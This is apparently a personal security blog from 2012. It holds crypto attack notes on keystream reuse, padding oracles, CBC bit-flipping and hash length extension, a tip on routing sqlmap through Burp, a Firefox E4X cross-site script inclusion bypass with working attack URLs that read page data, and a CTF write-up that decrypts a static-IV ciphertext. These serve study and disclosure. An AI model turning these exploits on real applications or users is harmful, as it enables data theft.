4) Try XOR'ing key with the correct bytes in more messages from other parts of the application... Any ASCII you find, if you can PREDICT more PT, you can get more keystream. EG if we find “rsonal Inf”, we can try to guess "Personal Information" as the PT, which can give us 10 more bytes of keystream if correct! Go back to step 2 and get more keystream! In this way we can recover the keystream used to encrypt things that occur BEFORE our input in the ciphertext.</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack_-_Keystream_Attack_with_known_Plain_Text_and_Looping_CTR"></a>Attack - Keystream Attack with known Plain Text and Looping CTR</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Read this: <a href="http://en.wikipedia.org/wiki/Kasiski_examination" rel="nofollow" style="color: #0000cc;">http://en.wikipedia.org/wiki/Kasiski_examination</a></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
1) Induce and detect looping in the CTR. Provide a long stream of repeated input, look for where repeated strings start to appear in the CT. This is best done with a script, difficult to 'eye' it. The distance between these repeating strings indicates when the counter wraps.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
2)Same principle as the attack above but you are using it WITHIN a single message. You recover keystream by XORing CT with the corresponding known plain text. You know the keystream repeated later in the message because you found out where the CTR wrapped, so XOR that keystream with the CT after the CTR wrap and you will get back the plain text.</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack_-_Repeated_keystream_attack_(NO_KNOWN_PLAINTEXT)_(RC4_or"></a>Attack - Repeated keystream attack (NO KNOWN PLAINTEXT) (RC4 or AES CTR)</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Read this: <a href="http://en.wikipedia.org/wiki/Kasiski_examination" rel="nofollow" style="color: #0000cc;">http://en.wikipedia.org/wiki/Kasiski_examination</a></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
If you have NO knowledge on what the original plaintext was but you have a bunch of encrypted strings and you suspect the NONCE or CTR repeat, you can apply the above two attacks still by using character frequency analysis.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
1) Remember -> ciphertext XOR ciphertext = plaintext XOR plaintext</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
2) Use statistics about the text you expect to get back (eg: which one produces the most letter e's since its the most common english letter)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
3) You can attack this cipher byte-at-a-time</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Take all bytes that are suspected to have been encrypted with the same part of the keystream. For example, if you were able to fix the nonce or suspect it is fixed, take the ith byte of each message.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
If the nonce is not fixed but you suspect CTR repetition, look for repeated strings in the CT (use a script, read the article at the top of this attack section). Use the distance between repeated strings to estimate where the CTR wraps. This tells you where the keystream starts to repeat. Knowing this, you can collect bytes encrypted with the same keystream.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
If the NONCE is not fixed and there doesn't seem to be any repeated strings in any of the messages you have, try concatenating all of the messages into a single, long string and looking for repetitions in that. This will allow you to detect any NONCE or CTR repetition. Brute force the corresponding key byte by checking which value for the key byte produces the most common characters according to the characte frequency you expect (e.g. English has the highest frequency letter as ‘e’, so look for the most ‘e’s if you think the PT was English). Again this should be scripted and you can use more complex frequency analysis. E.G. Suppose you have 5 16 byte blocks of unknown ciphertext encrypted with the same part of the keystream</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
-Byte 1 of each block will have been encrypted (XOR’d) with byte 1 of the key</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
-Brute force byte 1 by XORing the CT with all possible values for that byte - look for highest freqeuncy of the letter 'e' across your 5 bytes at this position</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
-Repeat for remaining bytes, hopefully you get something intelligable</div>
<h2 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: large; max-width: 700px; padding-left: 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Q:_Is_it_CBC_Mode?"></a>Q: Is it CBC Mode?</h2>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
A: Blocks don't repeat, small PT changes cause full or large CT changes</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
-Do you see static text in fixed locations of each CT (usually beginning)? Probably an Initialization Vector</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
-Do you see repetition across messages but not blocks? The beginning of long strings encrypts to the same ciphertext, but blocks are not repeated? Probably CBC with a static IV. This will be vulnerable to the chosen boundary attack described for ECB.</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
</h3>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack:_Padding_Oracle_Attack_(e.g._/IIS_Vuln)"></a>Attack: Padding Oracle Attack (e.g. PadBuster<a href="http://code.google.com/p/webapp-cryptotest/w/edit/PadBuster" style="color: #0000cc;">?</a>/IIS Vuln)</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<a href="http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html" rel="nofollow" style="color: #0000cc;">http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html</a></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
A CBC implementation is vulnerable to padding oracle attacks under the following conditions:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
1) When valid CT is submitted to the application and it decrypts to valid data you get a distinguishable response (eg: 200 OK)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
2) When CT is submitted that decrypts to invalid data but has valid padding you get a distinguishable response (eg: 200 OK with a custom error or something)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
3) When invalid CT is submitted and the padding is incorrect you get a distinguishable response (eg: 500 Error due to crypto libraries crapping out on the backend)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
An example of how this can be satisfied is (1) giving the 200 OK response and fulfilling a request, (2) gives an application level error because the decrypted data is invalid in the application context, (3) gives a server error (exception is thrown when the decryption fails). As long as errors (2) and (3) are different, we can use a padding oracle attack to decrypt the ciphertext that is being submitted to the application.</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
</h3>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack:_Static_or_repeated_IV"></a>Attack: Static or repeated IV</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Vulnerable to the chosen boundary attack described for ECB.</div>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
</h3>
<h3 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: medium; margin: 0px; max-width: 700px; padding: 0.5ex 0.5em 0.5ex 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Attack:_Bitflipping_and_CBC_Block_Shuffling"></a>Attack: Bitflipping and CBC Block Shuffling</h3>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<a href="http://namnham.blogspot.com/2010/03/codegate-2010-ctf-challenge-8-cbc-mode.html" rel="nofollow" style="color: #0000cc;">http://namnham.blogspot.com/2010/03/codegate-2010-ctf-challenge-8-cbc-mode.html</a></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
-Very interesting attack method although there is one confusing part of the article:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Look at this section from the article:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
>>> iv, cipher = get_cookie('1234567890123456')</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
>>> cipher1 = cipher[:32] + iv + cipher[:16]</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
>>> username, role = get_message(iv, cipher1)</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
'Welcome back, 1234567890123456! Your role is: E\x9bpY?\xfbW6\x84{\x8fn\x1e\x80\x10\x1busername=1234567. You need admin role.'</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
It is not explained, but what is happening here is really cool. If an application is decrypting some part of the encrypted value and displaying it, and you want to know some OTHER part of the encrypted value, plug the block+previous block in where the stuff is being displayed from. In this case, he wanted to know what the first 16 bytes of ciphertext were so he used IV+cipher[:16]. What happens here is on decryption, the PT is xored with the previous block of CT, so the IV gets jumbled on decryption but the cipher[:16] block is decrypted correctly.</div>
<h2 style="background-image: none; border: 0px; font-family: arial, sans-serif; font-size: large; max-width: 700px; padding-left: 0px;">
<a href="http://www.blogger.com/blogger.g?blogID=6160546299096632925" name="Hashes:"></a>Hashes:</h2>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Q: Does the application validate messages based on the hash of the message with a secret key? This is not a valid way to use CURRENT hashing algorithms (MD5, SHA1, SHA256) but some applications do it anyways (Flikr compromise and Stripe CTF) - There is now a great resource and new tool for attacking this http://www.skullsecurity.org/blog/2012/everything-you-need-to-know-about-hash-length-extension-attacks.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
<br /></div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
E.G. Suppose X is a secret and M is the message, h(X | M) is used to validate M comes from a trusted source. We can modify M (lengthen it) to M’ and compute h(X | M’) without knowing X because of how current hash functions work.</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
h(X | M) is actually an intermediate value when computing h(X | M'), so we seed the hash function with h(X | M) which is known, then we compute the hash for our extension. The trick is to pad the extension message at the beginning so that our entire extension falls into a new block AND doesn't modify anything in the previous block. To do this, we prepend out extension with the padding the hash algorithm uses. This has the form:</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
0x800000000000....xxxxxxxx</div>
<div style="font-family: arial, sans-serif; font-size: 13px; line-height: 1.25em; max-width: 64em;">
Where xxxxxxxx is the number of bits of unpadded data in the block.</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-22130234865897814272012-10-11T17:46:00.003-07:002012-10-11T17:46:42.944-07:00How to Proxy SQLMap Through BURP For HTTPS URLs<span style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: x-small;">After beating my head off the wall for an hour or so I finally figured out an interesting way to do this. Extensive Googling didn't turn anything up so I decided to post here for future reference and to save others the headache.</span><br />
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
This is a pretty common and necessary task. Some good examples of when you may need to do it are to deal with CSRF tokens that update on every request or test for SQL injection in a multistep process. BURP macros and Session Handling can deal with these scenarios but for some reason sqlmap doesn't like to be proxied for HTTPS URL's, I think it's probably because of the certificate that BURP uses.</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
Anyways doing it is quite easy once you figure it out. Just enable your proxy and under Proxy -> Options -> Request Handling, select "Force Use of SSL". Then in sqlmap, feed it a plain http url rather than https. BURP will translate this to HTTPS when it receives requests.</div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
<br /></div>
<div style="font-family: 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', Verdana, Tahoma, sans-serif; font-size: small; margin-bottom: 5px; margin-top: 5px; padding: 0px;">
Now you can let BURP work its macro and session handling magic on the sqlmap requests!</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-89222736411862282552012-10-03T06:03:00.001-07:002012-10-04T06:39:18.243-07:00My First 0day - FireFox - Questionably Useful XSSI Through E4XWhile reading Michal Zalewski's (lcamtuf) "The Tangled Web", I was inspired to play with an example from the book. It highlighted an interesting variant on cross site script inclusion attacks that doesn't actually require JSONP, or for that matter, any JavaScript to be included in the application's response.<br />
<br />
After contacting lcamtuf to see if my modified method of executing this attack was something that was well known or that he had seen, he told me that it looked like a bypass in one of the security features that Mozilla implements in E4X and that it might be worthwhile to contact them. After contacting Mozilla, I was informed that they probably won't patch it because they want to kill E4X anyways. Although one of the developers was pretty technical and was really cool about it. So no bounty for me but the bug is still interesting and as a bonus should work on all versions of FireFox prior to 17 (which is a few releases away)!<br />
<br />
For those unfamiliar with cross site script inclusion attacks, I was going to try and 'borrow' someone else's explanation but I wasn't able to find any good ones. So bear with me because this could get ugly:<br />
<br />
<h3>
<b><span style="font-family: Times, Times New Roman, serif; font-size: large;">Traditional XSSI Description</span><span style="font-family: Times, Times New Roman, serif; font-size: small;"> </span></b></h3>
Traditionally XSSI occurs when JSONP is used by an application and the response includes sensitive data. So suppose there was some ridiculous web service exposed by an application that would show you your password if you had already logged in and had a valid session. Let's assume this crazy web service resides at the following URL:<br />
<br />
<span style="font-family: inherit;">http://example.com/showPassword.php</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">And since we are assuming this crazy web service responds with JSONP, an example response could look like this:</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">showPassword({"password":"mybadpassword123"})</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">The call to the service could be as simple as:</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;"><script src="http://example.com/showPassword.php"></script></span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">The reason people use JSONP is exactly what makes it vulnerable. It is useful if you want javascript on non same origin sites to be able to access data from your web service. When the response is returned to this JSONP call, the showPassword function on the non same origin site is executed using the data that came from the source.</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">It should be obvious now that you don't want to use JSONP where sensitive data is involved since ANY external site can force the victim to make the request and steal the sensitive data!</span><br />
<span style="font-family: Lucida Grande, Lucida Sans Unicode, Lucida Sans, Verdana, Tahoma, sans-serif; font-size: x-small;"><br /></span>
<br />
<h3>
<span style="font-family: Times, Times New Roman, serif; font-size: large;">(Ab)using E4X In Firefox for XSSI</span></h3>
<div>
<span style="font-family: inherit;">Now here's where things get interesting. The FireFox JavaScript parser has an extension called ECMAScript for XML -- basically it allows simple, automatic conversion from XML to JSON, which sounds great. For example, you could have the following which would be equivalent:</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">var a = {"test":"123","test2":"567"}</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">var a = <test>123</test><test2>567</test2></span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">In fact, any well formed XML that doesn't begin with the <html> tag seems to pass right through the JavaScript parser! For example, the following script will go through the interpreter no problem:</span></div>
<div>
<br /></div>
<span style="font-family: inherit;"><script><br /><b>Some other html and stuff</b><br /><p>This is supposed to be secret!</p><br /><b>so is this</b><br /><i>More html after</i></span></script><br />
<br />
Well suppose we have some page that echoes some user controlled data into it, for example it takes some query str<span style="font-family: inherit;">ing parameters and includes them in the response. For example, consider the following Django template where {{paramX}} gets replaced by the appropriate query string parameter:</span><br />
<div>
<span style="font-family: inherit;">Request URL: <a href="http://192.168.1.135:8000/?param1=alert(" param2="param2">http://192.168.1.135:8000/?param1={{param1}}&param2</a>={{param2}}<br /><br />Response:<br /><b>Some other html and stuff</b>
{{param1}} </span></div>
<div>
<span style="font-family: inherit;"><p>This is supposed to be secret!</p> </span></div>
<div>
<span style="font-family: inherit;"><b>so is this</b>{{param2}} </span></div>
<div>
<span style="font-family: inherit;"><i>More html after</i><br />
<br />Now consider what happens when we set param1 and param2 as follows:<br />param1 = {x=<br />param2 = }<br />
<br />The application response will look like this:<br /><b>Some other html and stuff</b>
{x= </span></div>
<div>
<span style="font-family: inherit;"><p>This is supposed to be secret!</p> </span></div>
<div>
<span style="font-family: inherit;"><b>so is this</b>} </span></div>
<div>
<span style="font-family: inherit;"><i>More html after</i><br />
<br />
If an attacker includes this page in a script, as in an XSSI attack like the following example, he will have access to a global variable "x" which contains potentially sensitive data, everything occurring between param1 and param2!<br />
<script src="<a href="http://192.168.1.135:8000/?param1=alert(" param2="param2">http://192.168.1.135:8000/?param1={x%3d&param2</a>=}"></script><br />
<br />
I've actually not tested the exact attack above, it is simpler than my original (tested) idea and probably works. The problem is FireFox has a security restriction that will be thrown if an entire script is composed of XML, but I think the above bypasses that:<br />
"SyntaxError: XML can't be the whole program"<br />
<br />
My original idea which definitely works uses the following URL for the attack, it accomplishes the same thing in a more complicated way:<br />
<br />
<script src="<a href="http://192.168.2.2:8000/?param1=var%20a%20%3d%20">http://192.168.2.2:8000/?param1=var%20a%20%3d%20</a>(<r><![CDATA[xxxThis%20line%20is%20injected...&param2=yyyThis%20line%20is%20the%20second%20injection point]]></r>).toString()%3balert(a)%3b"></script><br />
<br />This script included on the attacker's page will look like:</span></div>
<div>
<br />
<script><br />
<h1>This is the page title, it occurs before our injection point</h1><br />
var a = (<r><![CDATA[xxxThis line is injected...<br />
<p> This is part of the page between the first injection point and second </p><br />
<a href='xxx'>So is this </a><br />
yyyThis line is the second injection point]]></r>).toString();alert(a);<br />
</script><span style="font-family: inherit;"> </span></div>
<div>
<span style="font-family: inherit;"><br />The CDATA section wrapped in <r> tags makes it so newline characters within the stolen data don't screw up the javascript parser, but otherwise it's the same idea.<br />
<br />
</span></div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-50999234750161726872012-10-02T19:54:00.003-07:002012-10-03T10:35:10.247-07:00DerbyCon, CTF, Crypto Attacks, 42...First post! Been putting this off for a while. Basically this is just a place for me to collect all my random research and experiences in one place. As of now they are scattered all over Google docs, Reddit, my hard disk, my brain (very volatile storage) and various other places. The writing may be terrible, but hopefully the content makes up for it. So here we go...<br />
<br />
Just had an amazing first experience at a conference, DerbyCon! Even if I only made two talks. The CTF was a blast, myself and the rest of team JollyAndFriends owned it. Although it was really tight, right down to the last 15m and we only won by 10pts. It was amazing to meet and work with the whole team and guys like mubix who hung around and grinded away at a couple of the challenges with us for a while. Props to the organizers and attendees of the con.<br />
<br />
This was actually my second CTF and I think I may be addicted. The Stripe web CTF was also amazingly well done, although I participated in that one solo. At some point in the near future I'll probably give it its own dedicated blog post describing my approach to some of the more interesting challenges.<br />
<br />
Pretty happy I actually got to put some of my research into practice in the form of a really basic crypto attack for the Derby CTF. I plan on posting my crypto notes/research/attack code some time later, but the simple attack used in the CTF was the following:<br />
<br />
We were provided with 3 files, "plain1_encrypted", "plain2_encrypted", "plain2"; they represent exactly what their names imply, some encrypted and plain text files. We were also provided with the binaries used for the encryption and decryption routines, but that is actually irrelevant, they didn't contain keys and you don't really need them.<br />
<br />
The unencrypted plain text file "plain2" had the following contents:<br />
<br />
<br />
0x80085:fu2 breens$ xxd plain2<br />
0000000: 4b43 3537 4b43 3537 4b43 3537 4b43 3537 KC57KC57KC57KC57<br />
0000010: 4b43 3537 4b43 3537 4b43 3537 4b43 3537 KC57KC57KC57KC57<br />
0000020: 4b43 3537 4b43 3537 4b43 3537 4b43 3537 KC57KC57KC57KC57<br />
0000030: 4b43 3537 4b43 3537 4b43 3537 4b43 3537 KC57KC57KC57KC57<br />
0000040: 4b43 3537 4b43 3537 4b43 3537 4b43 3537 KC57KC57KC57KC57<br />
0000050: 4b43 3537 4b43 3537 4b43 3537 4b43 3537 KC57KC57KC57KC57<br />
0000060: 4b43 3537 4b43 3537 4b43 3537 4b43 3537 KC57KC57KC57KC57<br />
<br />
<br />
The hex dumps of the two encrypted files were as follows:<br />
0x80085:fu2 breens$ xxd plain2_encrypted<br />
<br />
0000000: <span style="background-color: yellow;">0bb7 b2ef</span> ebc7 6a8e <span style="background-color: yellow;">5ac6 51d6</span> 507d 82af ......j.Z.Q.P}..<br />
0000010: <span style="background-color: yellow;">0980 0e1c</span> 201a af1c <span style="background-color: yellow;">a2e2 7959</span> 558a 89d7 .... .....yYU...<br />
0000020: 8c1a eefc 98c7 2079 6169 3101 cdbe 9961 ...... yai1....a<br />
0000030: 03eb 8910 face 6796 6092 d3d7 d1a6 e155 ......g.`......U<br />
0000040: 41d7 353c 8dc5 ad42 4f65 bfff 7fdd 9135 A.5<...BOe.....5<br />
0000050: <span style="background-color: yellow;">9556 d0f9</span> effa f1bc <span style="background-color: yellow;">6742 da69</span> 9282 2ec4 .V......gB.i....<br />
0000060: ba36 ca12 2c90 60bb a0ad dfbc 60f5 dad2 .6..,.`.....`...<br />
0000070: <span style="background-color: yellow;">9b2e 0d94 1292 5c43 f8de 8e4f a494 644d</span> ......\C...O..dM<br />
<br />
0x80085:fu2 breens$ xxd plain1_encrypted<br />
<br />
0000000:<span style="background-color: yellow;"> 0bb7 b2ef</span> a583 5abe <span style="background-color: yellow;">5ac6 51d6</span> 1e39 b29f ......Z.Z.Q..9..<br />
0000010: <span style="background-color: yellow;">0980 0e1c</span> 6e5e 9f2c <span style="background-color: yellow;">a2e2 7959</span> 1bce b9e7 ....n^.,..yY....<br />
0000020: 8115 9a8c eec0 702d 5853 7442 d295 c910 ......p-XStB....<br />
0000030: 24c9 db73 deca 37d5 7fb9 83ab ff9c 980d $..s..7.........<br />
0000040: 6694 000b c686 9875 0426 8ac8 349e a402 f......u.&..4...<br />
0000050: <span style="background-color: yellow;">9556 d0f9</span> a1be c18c <span style="background-color: yellow;">6742 da69</span> dcc6 1ef4 .V......gB.i....<br />
0000060: <span style="background-color: yellow;">ba36 ca12</span> 62d4 508b a0ad dfbc 2eb1 eae2 .6..b.P.........<br />
0000070: <span style="background-color: yellow;">9b2e 0d94 1292 5c43 f8de 8e4f a494 644d</span> ......\C...O..dM<br />
<div>
<br /></div>
<br />
<div>
Notice all of the highlighted values are repeated bytes that occur in both encrypted files. The last 16 bytes (1 block) are all consecutive and all the same, this was probably some sort of IV. The repeated bytes that occur within the cipher text are more interesting...</div>
<div>
<br /></div>
<div>
Since the repeated bytes are separated by non repeated sections, this suggests that it could not be AES in CBC mode. Since the repetition occurs at the byte level rather than in full blocks at a time, that rules out ECB mode. We will make an educated guess at this point that the encryption algorithm in use is probably AES in CTR or OFB mode, with a static IV (bad!).</div>
<div>
<br /></div>
<div>
The way that AES in a steam cipher mode like OFB or CTR works is that the AES algorithm is used to encrypt the IV concatenated with some other data to generate a "keystream". In CTR mode, the "other data" is a simple counter like 1,2,3,4... In OFB mode, there is feedback from previously encrypted data. I'll post far more detail in my crypto notes. This keystream is then XOR'd with the plaintext to produce the ciphertext. The danger with this approach is that if the keystream EVER repeats, this can be detected because repeated sequences of bytes will be observed in the ciphertext when the plain text contains repetition (just like we saw in the CTF).<br />
<br />
Due to the following relationship (easy to deduce by taking a quick look at the truth table for the XOR operation) it is trivial to decrypt text given some known plain text when the keystream is repeated:</div>
<div>
<br /></div>
<div>
keystream XOR plaintext = ciphertext -- therefore</div>
<div>
ciphertext XOR plaintext = keystream</div>
<div>
<br /></div>
<div>
And once you have keystream, to recover the plaintext from unknown ciphertext that uses the same keystream is easy!</div>
<div>
<br /></div>
<div>
ciphertext XOR keystream = plaintext</div>
<div>
<br />
So let's see that in action! I used the python interpreter to do the XOR operation:<br />
<br />
<b>**First we do plain2 XOR plain2_encrypted to get keystream***</b><br />
<span style="font-size: x-small;">>>> hex(<span style="background-color: #9fc5e8;">0x4b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b4335374b433537</span> ^ <span style="background-color: #ea9999;">0x0bb7b2efebc76a8e5ac651d6507d82af09800e1c201aaf1ca2e27959558a89d78c1aeefc98c7207961693101cdbe996103eb8910face67966092d3d7d1a6e15541d7353c8dc5ad424f65bfff7fdd91359556d0f9effaf1bc6742da6992822ec4ba36ca122c9060bba0addfbc60f5dad29b2e0d9412925c43f8de8e4fa494644d</span>)</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="background-color: #666666; font-size: x-small;">'0xbb7b2efebc76a8e5ac651d6507d82af42c33b2b6b599a2be9a14c6e1ec9bce0c759dbcbd384154e2a2a043686fdac5648a8bc27b18d52a12bd1e6e09ae5d4620a94000bc686987504268ac8349ea402de15e5cea4b9c48b2c01ef5ed9c11bf3f175ff2567d3558cebeeea8b2bb6efe5d06d38a359d16974b39dbb78efd7517aL' **THIS IS KEYSTREAM**</span><br />
<span style="font-size: x-small;"><br /></span>
<b>**Now we do keystream XOR plain1_encrypted to get plain1***</b><br />
<span style="font-size: x-small;">>>> hex(<span style="background-color: #444444;">0</span><span style="background-color: #666666;">xbb7b2efebc76a8e5ac651d6507d82af42c33b2b6b599a2be9a14c6e1ec9bce0c759dbcbd384154e2a2a043686fdac5648a8bc27b18d52a12bd1e6e09ae5d4620a94000bc686987504268ac8349ea402de15e5cea4b9c48b2c01ef5ed9c11bf3f175ff2567d3558cebeeea8b2bb6efe5d06d38a359d16974b39dbb78efd7517aL</span> ^ <span style="background-color: #cccccc;">0x0bb7b2efa5835abe5ac651d61e39b29f09800e1c6e5e9f2ca2e279591bceb9e781159a8ceec0702d58537442d295c91024c9db73deca37d57fb983abff9c980d6694000bc686987504268ac8349ea4029556d0f9a1bec18c6742da69dcc61ef4ba36ca1262d4508ba0addfbc2eb1eae29b2e0d9412925c43f8de8e4fa494644d</span>)</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="background-color: #93c47d; font-size: x-small;">'0x4e443030000000004e4430304b433537050705074b43353705070507464c41473d44656372797074546865466c6167546f4765745468654b65794c6f6c0000000000000000000000000000004b433537050705074b433537050705074b433537050705074b433537050705074b4335374b4335374b4335374b433537L'</span><br />
<br />
If we hex decode the green highlighted hex which SHOULD be plain text, we get this:<br />
<span style="background-color: #93c47d;">ND00ND00KC57 KC57 FLAG=DecryptTheFlagToGetTheKeyLolKC57 KC57 KC57 KC57 KC57KC57KC57KC57</span><br />
<br /></div>
<div>
Success! So it was as easy as XORing the bytes of plain2_encrypted with the bytes of plain2 to recover keystream, then XORing those bytes with plain1_encrypted to yield the plaintext!</div>
<div>
<br /></div>
<div>
Moral of the story - don't use a static IV!</div>
<br />
<br />Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com3